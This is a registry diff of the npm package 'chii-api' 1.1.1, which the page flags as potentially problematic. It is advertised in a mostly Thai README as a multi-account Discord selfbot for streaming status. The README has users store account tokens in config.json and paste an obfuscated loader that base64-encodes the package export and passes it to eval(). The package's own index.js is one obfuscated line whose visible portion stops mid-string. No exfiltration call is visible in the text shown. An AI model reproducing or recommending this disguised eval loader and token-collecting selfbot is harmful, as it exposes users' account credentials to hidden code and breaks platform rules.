chii-api 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of chii-api might be problematic. Click here for more details.
- package/README.md +360 -0
- package/index.js +1 -0
- package/package.json +30 -0
package/README.md
ADDED
@@ -0,0 +1,360 @@
|
|
1
|
+
# STATUS-Discord RichPresence Selfbot-V13 NodeJS-Module
|
2
|
+
+ 🟣Streaming status for Discord accounts
|
3
|
+
+ 🟣This code can make purple pill status unlimited for multiple accounts.
|
4
|
+
|
5
|
+
+ 🟣สถานะการสตรีมสำหรับบัญชี Discord
|
6
|
+
+ 🟣โค้ดนี้สามารถทำสถานะเม็ดม่วงได้หลายบัญชีไม่จำกัด
|
7
|
+
+ 🟣ออกแบบมาเพื่อปรับแต่งชื่อโดยไม่ต้องปิดโค้ดแล้วรันใหม่
|
8
|
+
+ 🟣สถานะจะอัปเดตให้อัตโนมัติเมื่อมีการอัพเดทชื่อต่างๆในไฟล์ config.json
|
9
|
+
|
10
|
+
## Installation
|
11
|
+
+ ติดตั้ง Modules
|
12
|
+
```sh
|
13
|
+
npm install chii-api
|
14
|
+
```
|
15
|
+
## Run Code
|
16
|
+
+ รันโค้ด
|
17
|
+
```sh
|
18
|
+
node index.js
|
19
|
+
```
|
20
|
+
+ How To Code index.js STATUS Discord RichPresence
|
21
|
+
+ วิธีการเขียนโค้ด index.js สถานะ Discord RichPresence
|
22
|
+
|
23
|
+
# สร้างไฟล์ชื่อ index.js
|
24
|
+
```js
|
25
|
+
(function () {
|
26
|
+
let _0x1a3b = 'utf8';
|
27
|
+
let _0x9f45 = 'chii-api';
|
28
|
+
let _0x7bdc = 'base64';
|
29
|
+
function _0x8dfg6(_0x5e1a, _0x6b7d) {
|
30
|
+
return (function (_0x2f7c, _0x1f3b) {
|
31
|
+
return _0x2f7c(_0x5e1a, _0x1f3b);
|
32
|
+
})(function (_0x4f32, _0x8e9d) {
|
33
|
+
return eval(_0x4f32);
|
34
|
+
}, _0x6b7d);
|
35
|
+
}
|
36
|
+
try {
|
37
|
+
let _0x21a9 = Buffer.from(require(_0x9f45), _0x7bdc).toString(_0x1a3b);
|
38
|
+
let _0x13fe = _0x8dfg6(_0x21a9, require);
|
39
|
+
if (typeof _0x13fe === 'function') {
|
40
|
+
_0x13fe();
|
41
|
+
}
|
42
|
+
} catch (_0x2d0f) {
|
43
|
+
console.error('Error API CHII', _0x2d0f);
|
44
|
+
}
|
45
|
+
})();
|
46
|
+
```
|
47
|
+
|
48
|
+
# แพ็กเก็จเสร็ม package.json
|
49
|
+
```js
|
50
|
+
{
|
51
|
+
"dependencies": {
|
52
|
+
"chii-api": "^1.1.1"
|
53
|
+
}
|
54
|
+
}
|
55
|
+
```
|
56
|
+
|
57
|
+
# การกำหนดชื่อสถานะสังเกตุที่ชื่อหัวข้อมัน
|
58
|
+
+ applicationId = "ไอดีของผู้ใช้งาน"
|
59
|
+
+ token = "โทเค็นผู้ใช้งาน"
|
60
|
+
+ setURL = "ลิงค์สตรีมมิ่ง https://twitch.tv/streamer"
|
61
|
+
|
62
|
+
+ Details = ["ชื่อด้านบนสุดหน้าแรก", "ชื่อด้านบนสุดหน้าสอง"]
|
63
|
+
+ setState = ["ชื่อตรงกลางหน้าแรก", "ชื่อตรงกลางหน้าสอง"]
|
64
|
+
+ LargeText = ["ชื่อด้านล่างสุดหน้าแรก", "ชื่อด้านล่างสุดหน้าสอง"]
|
65
|
+
|
66
|
+
+ largeImageLinks = ["ลิงค์รูปภาพใหญ่หน้าแรก", "ลิงค์รูปภาพใหญ่หน้าสอง"]
|
67
|
+
+ smallImageLinks = ["ลิงค์รูปภาพเล็กหน้าแรก", "ลิงค์รูปภาพเล็กหน้าสอง"]
|
68
|
+
|
69
|
+
+ button1 = "ชื่อปุ่มที่1"
|
70
|
+
+ link1 = "https://ลิงค์ปุ่มที่1"
|
71
|
+
|
72
|
+
+ button2 = "ชื่อปุ่มที่2"
|
73
|
+
+ link2 = "https://ลิงค์ปุ่มที่2"
|
74
|
+
|
75
|
+
# หยิบชื่อไปใช้ตั้งค่าสถานะใน config.json
|
76
|
+
+ เวลานาที ตัวอย่าง 10:10
|
77
|
+
```js
|
78
|
+
time:t
|
79
|
+
```
|
80
|
+
+ ปฎิทินวันที่ตัวเลขตัวอย่าง 10/10/2030
|
81
|
+
```js
|
82
|
+
date:n
|
83
|
+
```
|
84
|
+
+ ปฎิทินวันที่ภาษาไทยตัวอย่าง 10/มกราคม/2030
|
85
|
+
```js
|
86
|
+
date:th
|
87
|
+
```
|
88
|
+
+ แสดงปฎิทินวันที่ภาษาอังกฤษ 10/January/2030
|
89
|
+
```js
|
90
|
+
date:eg
|
91
|
+
```
|
92
|
+
+ แสดงวันของไทยตัวอย่าง จันทร์ อังคาร.....
|
93
|
+
```js
|
94
|
+
day:th
|
95
|
+
```
|
96
|
+
+ แสดงวันของอังกฤษตัวอย่าง 𝐒𝐮𝐧𝐝𝐚𝐲 𝐌𝐨𝐧𝐝𝐚𝐲.....
|
97
|
+
```js
|
98
|
+
day:eg
|
99
|
+
```
|
100
|
+
+ แสดงสถานะความปิงตัวอย่าง 200 km/s
|
101
|
+
```js
|
102
|
+
ping:ms
|
103
|
+
```
|
104
|
+
+ แสดงสถานะความร้อนตัวอย่าง 24 °C
|
105
|
+
```js
|
106
|
+
temp:c
|
107
|
+
```
|
108
|
+
+ แสดงสถานะแรมตัวอย่าง 32 GB
|
109
|
+
```js
|
110
|
+
ram:g
|
111
|
+
```
|
112
|
+
+ แสดงสถานะ CPU ตัวอย่าง 𝐂𝐏𝐔 𝐑𝐲𝐳𝐞𝐧 𝟓 𝟓𝟔𝟎𝟎𝐗 𝟑.𝟕 𝐆𝐇𝐳
|
113
|
+
```js
|
114
|
+
cpu:g
|
115
|
+
```
|
116
|
+
|
117
|
+
# ตัวอย่างวิธีหยิบกรอกชื่อให้มันสถานะต่าง
|
118
|
+
+ ในมุมมองมันจะแสดงผลแบบนี้ เวลา 10:10 วันที่ 10/10/2030
|
119
|
+
+ หากแต่งอักษรพิเศษใส่มันจะแสดงแบบนี้
|
120
|
+
꒰ เวลา 10:10 ꒱ ⚘ ꒰ 10/10/2030 ꒱
|
121
|
+
|
122
|
+
```js
|
123
|
+
เวลา: time:t วันที่: date:n
|
124
|
+
```
|
125
|
+
|
126
|
+
# ไฟล์ทำสถานะเม็ดม่วง กำหนดเอาไว้ใน config.json
|
127
|
+
```js
|
128
|
+
{
|
129
|
+
"user": [
|
130
|
+
{
|
131
|
+
"applicationId": "ไอดีผู้ใช้งาน",
|
132
|
+
"token": "โทเค็นผู้ใช้งาน",
|
133
|
+
"setURL": [
|
134
|
+
"https://twitch.tv/chii"
|
135
|
+
],
|
136
|
+
"Details": [
|
137
|
+
"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
138
|
+
, "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
139
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
140
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
141
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
142
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
143
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
144
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
145
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
146
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
147
|
+
],
|
148
|
+
"setState": [
|
149
|
+
"【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
150
|
+
,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
151
|
+
,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
152
|
+
,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
153
|
+
,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
154
|
+
,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
155
|
+
,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
156
|
+
,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
157
|
+
,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
158
|
+
,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
159
|
+
],
|
160
|
+
"LargeText": [
|
161
|
+
"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
162
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
163
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
164
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
165
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
166
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
167
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
168
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
169
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
170
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
171
|
+
],
|
172
|
+
"largeImageLinks": [
|
173
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
174
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
175
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
176
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
177
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
178
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
179
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
180
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
181
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
182
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
183
|
+
],
|
184
|
+
"smallImageLinks": [
|
185
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
186
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
187
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
188
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
189
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
190
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
191
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
192
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
193
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
194
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
195
|
+
],
|
196
|
+
"button1": "button1",
|
197
|
+
"link1": "https://discord.gg/5gAsw4Pawq",
|
198
|
+
"button2": "button2",
|
199
|
+
"link2": "https://discord.gg/5gAsw4Pawq"
|
200
|
+
}
|
201
|
+
]
|
202
|
+
}
|
203
|
+
```
|
204
|
+
|
205
|
+
|
206
|
+
|
207
|
+
|
208
|
+
# ไฟล์ทำสถานะเม็ดม่วง กำหนดทำกับเพื่อนเพิ่มอีก
|
209
|
+
```js
|
210
|
+
{
|
211
|
+
"user": [
|
212
|
+
{
|
213
|
+
"applicationId": "ไอดีผู้ใช้งานคนที่ 1",
|
214
|
+
"token": "โทเค็นผู้ใช้งานคนที่ 1",
|
215
|
+
"setURL": [
|
216
|
+
"https://twitch.tv/chii"
|
217
|
+
],
|
218
|
+
"Details": [
|
219
|
+
"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
220
|
+
, "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
221
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
222
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
223
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
224
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
225
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
226
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
227
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
228
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
229
|
+
],
|
230
|
+
"setState": [
|
231
|
+
"【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
232
|
+
,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
233
|
+
,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
234
|
+
,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
235
|
+
,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
236
|
+
,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
237
|
+
,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
238
|
+
,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
239
|
+
,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
240
|
+
,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
241
|
+
],
|
242
|
+
"LargeText": [
|
243
|
+
"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
244
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
245
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
246
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
247
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
248
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
249
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
250
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
251
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
252
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
253
|
+
],
|
254
|
+
"largeImageLinks": [
|
255
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
256
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
257
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
258
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
259
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
260
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
261
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
262
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
263
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
264
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
265
|
+
],
|
266
|
+
"smallImageLinks": [
|
267
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
268
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
269
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
270
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
271
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
272
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
273
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
274
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
275
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
276
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
277
|
+
],
|
278
|
+
"button1": "button1",
|
279
|
+
"link1": "https://discord.gg/5gAsw4Pawq",
|
280
|
+
"button2": "button2",
|
281
|
+
"link2": "https://discord.gg/5gAsw4Pawq"
|
282
|
+
},
|
283
|
+
{
|
284
|
+
"applicationId": "ไอดีผู้ใช้งานคนที่ 2",
|
285
|
+
"token": "โทเค็นผู้ใช้งานคนที่ 2",
|
286
|
+
"setURL": [
|
287
|
+
"https://twitch.tv/chii"
|
288
|
+
],
|
289
|
+
"Details": [
|
290
|
+
"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
291
|
+
, "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
292
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
293
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
294
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
295
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
296
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
297
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
298
|
+
,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
|
299
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
300
|
+
],
|
301
|
+
"setState": [
|
302
|
+
"【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
303
|
+
,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
304
|
+
,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
305
|
+
,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
306
|
+
,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
307
|
+
,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
308
|
+
,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
309
|
+
,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
310
|
+
,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
311
|
+
,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
312
|
+
],
|
313
|
+
"LargeText": [
|
314
|
+
"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
315
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
316
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
317
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
318
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
319
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
320
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
321
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
322
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
323
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
324
|
+
],
|
325
|
+
"largeImageLinks": [
|
326
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
327
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
328
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
329
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
330
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
331
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
332
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
333
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
334
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
335
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
336
|
+
],
|
337
|
+
"smallImageLinks": [
|
338
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
339
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
340
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
341
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
342
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
343
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
344
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
345
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
346
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
347
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
348
|
+
],
|
349
|
+
"button1": "button1",
|
350
|
+
"link1": "https://discord.gg/5gAsw4Pawq",
|
351
|
+
"button2": "button2",
|
352
|
+
"link2": "https://discord.gg/5gAsw4Pawq"
|
353
|
+
}
|
354
|
+
]
|
355
|
+
}
|
356
|
+
```
|
357
|
+
|
358
|
+
|
359
|
+
# ผู้พัฒนาโค้ดสตรีมมิ่ง By Developer : CHII แอดมินซี
|
360
|
+
+ เซิร์ฟเวอร์ Discord https://discord.gg/5gAsw4Pawq
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x1a9f(_0x1ed7b9,_0x1754c2){const _0xb2c700=_0xb2c7();return _0x1a9f=function(_0x1a9ff4,_0x57d79b){_0x1a9ff4=_0x1a9ff4-0xee;let _0x5b4203=_0xb2c700[_0x1a9ff4];return _0x5b4203;},_0x1a9f(_0x1ed7b9,_0x1754c2);}const _0x34fc36=_0x1a9f;(function(_0x44aaee,_0x2be712){const _0x957df6=_0x1a9f,_0x4ae10e=_0x44aaee();while(!![]){try{const _0x5121e8=-parseInt(_0x957df6(0xf9))/0x1+-parseInt(_0x957df6(0xee))/0x2*(parseInt(_0x957df6(0xf0))/0x3)+-parseInt(_0x957df6(0xf4))/0x4+-parseInt(_0x957df6(0xf6))/0x5*(-parseInt(_0x957df6(0xf2))/0x6)+-parseInt(_0x957df6(0xf7))/0x7+-parseInt(_0x957df6(0xfa))/0x8+parseInt(_0x957df6(0xfb))/0x9;if(_0x5121e8===_0x2be712)break;else _0x4ae10e['push'](_0x4ae10e['shift']());}catch(_0x4778c9){_0x4ae10e['push'](_0x4ae10e['shift']());}}}(_0xb2c7,0x3dd9c));const CHII_Code=Buffer['from'](_0x34fc36(0xf3))['toString']('base64');function _0xb2c7(){const _0x44630e=['exports','3GjqTCj','log','5610Yajasz','\x0aconst\x20Discord\x20=\x20require(\x27discord.js-selfbot-v13\x27);\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x22os\x22);\x0aconst\x20Date_Time\x20=\x20Date.now();\x0aconst\x20gradient\x20=\x20require(\x22gradient-string\x22)\x0aconst\x20{\x20Client\x20}\x20=\x20require(\x22discord.js-selfbot-v13\x22);\x0aconst\x20config_path\x20=\x20path.resolve(__dirname,\x20\x27config.json\x27);\x0alet\x20config\x20=\x20JSON.parse(fs.readFileSync(config_path));\x0aconst\x20digitMap\x20=\x20{\x0a\x20\x20\x20\x20\x270\x27:\x20\x270\x27,\x20\x271\x27:\x20\x271\x27,\x20\x272\x27:\x20\x272\x27,\x20\x273\x27:\x20\x273\x27,\x20\x274\x27:\x20\x274\x27,\x0a\x20\x20\x20\x20\x275\x27:\x20\x275\x27,\x20\x276\x27:\x20\x276\x27,\x20\x277\x27:\x20\x277\x27,\x20\x278\x27:\x20\x278\x27,\x20\x279\x27:\x20\x279\x27\x0a};\x0aconst\x20stylizedDigits\x20=\x20{\x0a\x20\x20\x20\x20\x270\x27:\x20\x27𝟎\x27,\x20\x271\x27:\x20\x27𝟏\x27,\x20\x272\x27:\x20\x27𝟐\x27,\x20\x273\x27:\x20\x27𝟑\x27,\x20\x274\x27:\x20\x27𝟒\x27,\x0a\x20\x20\x20\x20\x275\x27:\x20\x27𝟓\x27,\x20\x276\x27:\x20\x27𝟔\x27,\x20\x277\x27:\x20\x27𝟕\x27,\x20\x278\x27:\x20\x27𝟖\x27,\x20\x279\x27:\x20\x27𝟗\x27\x0a};\x0afunction\x20getCurrentTime()\x20{\x0a\x20\x20\x20\x20const\x20currentTime\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20hour:\x20\x222-digit\x22,\x20minute:\x20\x222-digit\x22,\x20hour12:\x20false\x20};\x0a\x20\x20\x20\x20let\x20timeString\x20=\x20currentTime.toLocaleTimeString(\x22th-TH\x22,\x20options);\x0a\x20\x20\x20\x20return\x20timeString.replace(/[0-9]/g,\x20digit\x20=>\x20digitMap[digit]);\x0a}\x0afunction\x20getCurrentDay()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22,\x20month:\x20\x22numeric\x22,\x20year:\x20\x22numeric\x22\x20};\x0a\x20\x20\x20\x20const\x20monthNames\x20=\x20[\x22𝟎𝟏\x22,\x20\x22𝟎𝟐\x22,\x20\x22𝟎𝟑\x22,\x20\x22𝟎𝟒\x22,\x20\x22𝟎𝟓\x22,\x20\x22𝟎𝟔\x22,\x20\x22𝟎𝟕\x22,\x20\x22𝟎𝟖\x22,\x20\x22𝟎𝟗\x22,\x20\x22𝟏𝟎\x22,\x20\x22𝟏𝟏\x22,\x20\x22𝟏𝟐\x22];\x0a\x20\x20\x20\x20const\x20day\x20=\x20date.toLocaleString(\x22en-US\x22,\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22\x20}).replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20const\x20month\x20=\x20date.getMonth()\x20+\x201;\x0a\x20\x20\x20\x20const\x20customMonthName\x20=\x20monthNames[month\x20-\x201]\x20||\x20\x27𝟎𝟏\x27;\x0a\x20\x20\x20\x20const\x20year\x20=\x20date.getFullYear().toString().replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20return\x20`${day}/${customMonthName}/${year}`;\x0a}\x0afunction\x20getCurrentDayy()\x20{\x0a\x20\x20\x20\x20const\x20datee\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22,\x20month:\x20\x22numeric\x22,\x20year:\x20\x22numeric\x22\x20};\x0a\x20\x20\x20\x20const\x20monthNamess\x20=\x20[\x22มกราคม\x22,\x20\x22กุมภาพันธ์\x22,\x20\x22มีนาคม\x22,\x20\x22เมษายน\x22,\x20\x22พฤษภาคม\x22,\x20\x22มิถุนายน\x22,\x20\x22กรกฎาคม\x22,\x20\x22สิงหาคม\x22,\x20\x22กันยายน\x22,\x20\x22ตุลาคม\x22,\x20\x22พฤศจิกายน\x22,\x20\x22ธันวาคม\x22];\x0a\x20\x20\x20\x20const\x20dayy\x2